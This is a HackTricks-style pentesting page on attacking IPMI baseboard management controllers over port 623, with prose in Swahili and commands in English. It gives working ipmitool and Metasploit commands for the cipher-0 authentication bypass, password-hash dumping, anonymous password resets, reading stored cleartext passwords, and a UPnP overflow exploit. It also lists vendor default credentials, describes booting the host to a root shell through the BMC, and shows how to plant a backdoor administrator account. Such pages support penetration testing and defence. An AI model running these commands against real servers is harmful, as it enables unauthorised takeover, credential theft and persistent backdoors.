623/UDP/TCP - IPMI

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Overview of IPMI

Intelligent Platform Management Interface (IPMI) inatoa njia iliyoimarishwa ya usimamizi na ufuatiliaji wa mifumo ya kompyuta kwa mbali, bila kujali mfumo wa uendeshaji au hali ya nguvu. Teknolojia hii inawawezesha wasimamizi wa mifumo kusimamia mifumo kwa mbali, hata wakati zimezimwa au hazijibu, na ni muhimu hasa kwa:

  • Mipangilio ya awali ya OS
  • Usimamizi wa kuzima nguvu
  • Kupona kutoka kwa kushindwa kwa mfumo

IPMI ina uwezo wa kufuatilia joto, voltages, kasi za mashabiki, na vyanzo vya nguvu, pamoja na kutoa taarifa za hesabu, kupitia kumbukumbu za vifaa, na kutuma arifa kupitia SNMP. Muhimu kwa uendeshaji wake ni chanzo cha nguvu na muunganisho wa LAN.

Tangu ilipoanzishwa na Intel mwaka 1998, IPMI imeungwa mkono na wauzaji wengi, ikiongeza uwezo wa usimamizi wa mbali, hasa na msaada wa toleo la 2.0 kwa serial juu ya LAN. Vipengele muhimu ni pamoja na:

  • Baseboard Management Controller (BMC): Kichakataji kikuu cha micro kwa shughuli za IPMI.
  • Communication Buses and Interfaces: Kwa mawasiliano ya ndani na nje, ikiwa ni pamoja na ICMB, IPMB, na interfaces mbalimbali za muunganisho wa ndani na mtandao.
  • IPMI Memory: Kwa kuhifadhi kumbukumbu na data.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Default Port: 623/UDP/TCP (Kawaida iko kwenye UDP lakini inaweza pia kuwa inafanya kazi kwenye TCP)

Enumeration

Discovery

bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Unaweza kutambua toleo kwa kutumia:

bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI Vulnerabilities

Katika eneo la IPMI 2.0, kasoro kubwa ya usalama iligunduliwa na Dan Farmer, ikifunua udhaifu kupitia cipher type 0. Udhaifu huu, ulioandikwa kwa undani katika Dan Farmer's research, unaruhusu ufikiaji usioidhinishwa kwa kutumia nenosiri lolote ikiwa mtumiaji halali anashambuliwa. Udhaifu huu ulipatikana katika BMC mbalimbali kutoka kwa watengenezaji kama HP, Dell, na Supermicro, ukionyesha tatizo lililoenea katika utekelezaji wote wa IPMI 2.0.

IPMI Authentication Bypass via Cipher 0

Ili kugundua kasoro hii, skana ya ziada ya Metasploit ifuatayo inaweza kutumika:

bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero

Kuvunja kwa kasoro hii kunawezekana kwa kutumia ipmitool, kama inavyoonyeshwa hapa chini, ikiruhusu orodha na mabadiliko ya nywila za watumiaji:

bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP Uthibitisho wa Ujumbe wa Mbali wa Nywila ya Hash

Ukatili huu unaruhusu upatikanaji wa nywila za hash zilizotiwa chumvi (MD5 na SHA1) kwa jina lolote lililopo. Ili kujaribu ukosefu huu, Metasploit inatoa moduli:

bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI Anonymous Authentication

Mipangilio ya default katika BMC nyingi inaruhusu ufikiaji wa "anonymous", unaojulikana kwa nywila na jina la mtumiaji zisizo na thamani. Mipangilio hii inaweza kutumika kubadilisha nywila za akaunti za watumiaji waliopewa jina kwa kutumia ipmitool:

bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Maneno ya Siri ya Kawaida

Chaguo muhimu katika muundo wa IPMI 2.0 kinahitaji uhifadhi wa maneno ya siri ya kawaida ndani ya BMCs kwa ajili ya madhumuni ya uthibitishaji. Uhifadhi wa Supermicro wa maneno haya katika maeneo kama /nv/PSBlock au /nv/PSStore unainua wasiwasi mkubwa wa usalama:

bash
cat /nv/PSBlock

Supermicro IPMI UPnP Uthibitisho wa Uthibitisho

Kuongezwa kwa Supermicro kwa msikilizaji wa UPnP SSDP katika firmware yake ya IPMI, hasa kwenye bandari ya UDP 1900, kunaingiza hatari kubwa ya usalama. Uthibitisho katika Intel SDK kwa vifaa vya UPnP toleo 1.3.1, kama ilivyoelezwa na Rapid7's disclosure, kuruhusu ufikiaji wa mizizi kwa BMC:

bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP inabadilisha nenosiri la default kwa bidhaa yake ya Integrated Lights Out (iLO) wakati wa utengenezaji. Praktiki hii inapingana na wazalishaji wengine, ambao huwa na akili za default zisizobadilika. Muhtasari wa majina ya watumiaji na nenosiri za default kwa bidhaa mbalimbali unapatikana kama ifuatavyo:

  • HP Integrated Lights Out (iLO) inatumia mfuatano wa herufi 8 ulioandaliwa kiwandani kama nenosiri lake la default, ikionyesha kiwango cha juu cha usalama.
  • Bidhaa kama iDRAC ya Dell, IMM ya IBM, na Meneja wa K remote wa Fujitsu zinatumia nenosiri rahisi kubashiri kama "calvin", "PASSW0RD" (ikiwa na sifuri), na "admin" mtawalia.
  • Vivyo hivyo, Supermicro IPMI (2.0), Oracle/Sun ILOM, na ASUS iKVM BMC pia zinatumia akili za default rahisi, ambapo "ADMIN", "changeme", na "admin" zinatumika kama nenosiri zao.

Accessing the Host via BMC

Upatikanaji wa kiutawala kwa Baseboard Management Controller (BMC) unafungua njia mbalimbali za kufikia mfumo wa uendeshaji wa mwenyeji. Njia rahisi ni kutumia kazi za KVM za BMC. Hii inaweza kufanywa kwa kuanzisha upya mwenyeji hadi kwenye shell ya root kupitia GRUB (ukitumia init=/bin/sh) au kuanzisha kutoka kwa CD-ROM ya virtual iliyowekwa kama diski ya kuokoa. Njia hizi zinaruhusu kudhibiti moja kwa moja diski ya mwenyeji, ikiwa ni pamoja na kuingiza backdoors, kutoa data, au hatua zozote zinazohitajika kwa tathmini ya usalama. Hata hivyo, hii inahitaji kuanzisha upya mwenyeji, ambayo ni hasara kubwa. Bila kuanzisha upya, kufikia mwenyeji anayekimbia ni ngumu zaidi na inategemea usanidi wa mwenyeji. Ikiwa console ya kimwili au serial ya mwenyeji inaendelea kuingia, inaweza kuchukuliwa kwa urahisi kupitia kazi za KVM za BMC au serial-over-LAN (sol) kupitia ipmitool. Kuchunguza matumizi ya rasilimali za vifaa vilivyoshirikiwa, kama vile basi ya i2c na chip ya Super I/O, ni eneo linalohitaji uchunguzi zaidi.

Introducing Backdoors into BMC from the Host

Baada ya kuathiri mwenyeji aliye na BMC, kiolesura cha BMC cha ndani kinaweza kutumika kuingiza akaunti ya mtumiaji ya backdoor, kuunda uwepo wa kudumu kwenye seva. Shambulio hili linahitaji uwepo wa ipmitool kwenye mwenyeji aliyeathiriwa na kuanzishwa kwa msaada wa dereva wa BMC. Amri zifuatazo zinaonyesha jinsi akaunti mpya ya mtumiaji inaweza kuingizwa kwenye BMC kwa kutumia kiolesura cha ndani cha mwenyeji, ambacho kinapita hitaji la uthibitisho. Mbinu hii inatumika kwa mifumo mbalimbali ya uendeshaji ikiwa ni pamoja na Linux, Windows, BSD, na hata DOS.

bash
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks